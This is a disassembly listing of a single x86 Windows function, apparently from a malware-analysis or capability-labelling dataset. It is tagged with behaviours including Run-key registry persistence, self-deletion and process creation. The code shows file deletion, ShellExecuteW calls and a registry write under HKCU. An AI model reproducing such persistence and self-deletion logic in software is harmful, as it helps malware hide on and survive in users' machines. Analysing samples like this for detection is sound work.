Function at 0x63bdd0
Capabilities:
Create process on windows
Persist via run registry key
Self delete
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x55
push 0
push 0
dec ecx
jne 0x63bdd8
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 0x270]
mov edx, dword [0x41f2e8]
call fcn.0040c770
xor eax, eax
push ebp
push 0x63c31d
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 1
mov edx, dword [0x67ae44]
mov eax, 0x63c338
call fcn.0040c4f0
mov ebx, eax
test ebx, ebx
je 0x63c2d6
mov dl, 1
mov eax, dword [0x67ae44]
call fcn.004289f4
test al, al
je 0x63c2d6
cmp dword [0x67ae48], 0
je 0x63bea6
mov dl, 1
mov eax, dword [0x67ae48]
call fcn.0042895c
test al, al
je 0x63bea6
xor eax, eax
push ebp
push 0x63be9c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x10
mov eax, dword [0x67ae48]
call fcn.0040bfd8
push eax
call sub.gdi32.dll_RemoveFontResourceExW
mov eax, dword [0x6732d4]
mov eax, dword [eax]
call fcn.00610270
push 0x3e8
call sub.kernel32.dll_Sleep
mov eax, dword [0x6732d4]
mov eax, dword [eax]
call fcn.00610270
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x63bea6
mov byte [ebp - 0x271], 0
lea eax, [ebp - 0x278]
mov ecx, 0x63c350
mov edx, dword [0x67ae44]
call fcn.0040c224
mov eax, dword [ebp - 0x278]
lea ecx, [ebp - 0x270]
mov edx, 0x1ff
call fcn.00428e90
test eax, eax
jne 0x63c070
mov eax, dword [ebp - 0x25c]
mov edx, 0x63c368
call fcn.0040c35c
je 0x63c052
mov eax, dword [ebp - 0x25c]
mov edx, 0x63c378
call fcn.0040c35c
je 0x63c052
mov eax, dword [ebp - 0x260]
and eax, 0x10
cmp eax, 0x10
je 0x63c052
xor eax, eax
push ebp
push 0x63bf63
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x67ae44]
push 0x63c38c
push dword [ebp - 0x25c]
lea eax, [ebp - 0x27c]
mov edx, 3
call fcn.0040c2ac
mov eax, dword [ebp - 0x27c]
call fcn.00428f20
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x63bf6d
mov eax, dword [ebp - 0x25c]
mov edx, 0x63c39c
call fcn.0040c35c
jne 0x63bfe8
lea eax, [ebp - 0x280]
mov ecx, 0x63c3c0
mov edx, dword [0x67ae44]
call fcn.0040c224
mov eax, dword [ebp - 0x280]
mov dl, 1
call fcn.0042895c
test al, al
je 0x63bfe8
push 0
push 0
push 0x63c3dc
push 0x63c420
push 0
push 0
call sub.shell32.dll_ShellExecuteW
push 0x7d0
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x284]
mov ecx, 0x63c3c0
mov edx, dword [0x67ae44]
call fcn.0040c224
mov eax, dword [ebp - 0x284]
call fcn.00428f20
push dword [0x67ae44]
push 0x63c38c
push dword [ebp - 0x25c]
lea eax, [ebp - 0x288]
mov edx, 3
call fcn.0040c2ac
mov eax, dword [ebp - 0x288]
mov dl, 1
call fcn.0042895c
test al, al
je 0x63c052
mov byte [ebp - 0x271], 1
push 0x63c43c
push dword [0x67ae44]
push 0x63c38c
push dword [ebp - 0x25c]
lea eax, [ebp - 0x28c]
mov edx, 4
call fcn.0040c2ac
mov eax, dword [ebp - 0x28c]
call fcn.0063b82c
lea eax, [ebp - 0x270]
call fcn.00428ee0
test eax, eax
je 0x63bee1
lea eax, [ebp - 0x270]
call fcn.00428f04
cmp dword [0x67ae48], 0
je 0x63c0db
mov dl, 1
mov eax, dword [0x67ae48]
call fcn.0042895c
test al, al
je 0x63c0db
xor ebx, ebx
jmp 0x63c0c6
mov eax, dword [0x6732d4]
mov eax, dword [eax]
call fcn.00610270
push 0x1f4
call sub.kernel32.dll_Sleep
inc ebx
mov eax, dword [0x67ae48]
call fcn.0040bfd8
mov edx, eax
lea eax, [ebp - 0x290]
call fcn.0040c038
mov eax, dword [ebp - 0x290]
call fcn.00428f20
mov dl, 1
mov eax, dword [0x67ae48]
call fcn.0042895c
test al, al
je 0x63c0db
cmp ebx, 4
jl 0x63c08d
mov dl, 1
mov eax, dword [0x67ae44]
call fcn.004289f4
test al, al
je 0x63c11c
xor eax, eax
push ebp
push 0x63c112
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x67ae44]
call fcn.004074f8
call fcn.00407170
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x63c11c
cmp byte [ebp - 0x271], 0
je 0x63c13c
mov dl, 1
mov eax, dword [0x67ae44]
call fcn.004289f4
test al, al
jne 0x63c13c
mov byte [ebp - 0x271], 0
cmp byte [0x67ae1c], 0
jne 0x63c19b
lea edx, [ebp - 0x294]
mov al, 5
call fcn.00638e84
lea eax, [ebp - 0x294]
mov edx, 0x63c460
call fcn.0040c1cc
mov eax, dword [ebp - 0x294]
mov dl, 1
call fcn.0042895c
test al, al
je 0x63c19b
lea edx, [ebp - 0x298]
mov al, 5
call fcn.00638e84
lea eax, [ebp - 0x298]
mov edx, 0x63c460
call fcn.0040c1cc
mov eax, dword [ebp - 0x298]
call fcn.00428f20
cmp byte [0x67ae1c], 0
je 0x63c24e
xor eax, eax
push ebp
push 0x63c244
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebp - 0x271], 0
je 0x63c1c9
mov eax, 0x63c48c
call fcn.0063b82c
lea ecx, [ebp - 0x2a0]
xor edx, edx
movzx eax, byte [0x67ae20]
call fcn.004281c8
mov ecx, dword [ebp - 0x2a0]
lea eax, [ebp - 0x29c]
mov edx, 0x63c530
call fcn.0040c224
mov eax, dword [ebp - 0x29c]
call fcn.0063b82c
lea edx, [ebp - 0x2a4]
mov al, 5
call fcn.00638e84
lea eax, [ebp - 0x2a4]
mov edx, 0x63c460
call fcn.0040c1cc
mov edx, dword [ebp - 0x2a4]
mov eax, dword [0x67add4]
mov eax, dword [eax + 0x4cc]
mov eax, dword [eax + 0x2c0]
mov ecx, dword [eax]
call dword [ecx + 0x80]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x63c24e
cmp byte [ebp - 0x271], 0
je 0x63c2d6
mov dl, 1
mov eax, dword [0x515134]
call fcn.00516280
mov ebx, eax
mov edx, 0x80000001
mov eax, ebx
call fcn.00516368
xor ecx, ecx
mov edx, 0x63c564
mov eax, ebx
call fcn.005164c4
test al, al
je 0x63c2cf
lea edx, [ebp - 0x2a8]
mov eax, dword [0x67add4]
call fcn.005513f8
mov eax, dword [ebp - 0x2a8]
push eax
push 0x63c5d4
push dword [0x67ae44]
push 0x63c614
lea eax, [ebp - 0x2ac]
mov edx, 3
call fcn.0040c2ac
mov ecx, dword [ebp - 0x2ac]
mov eax, ebx
pop edx
call fcn.00516e24
mov eax, ebx
call fcn.00516338
mov eax, ebx
call fcn.00409670
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x63c324
lea eax, [ebp - 0x2ac]
call fcn.0040b460
lea eax, [ebp - 0x2a8]
call fcn.0040b460
lea eax, [ebp - 0x2a4]
mov edx, 0xc
call fcn.0040b4c0
lea eax, [ebp - 0x270]
mov edx, dword [0x41f2e8]
call fcn.0040cb3c
pop eax
jmp eax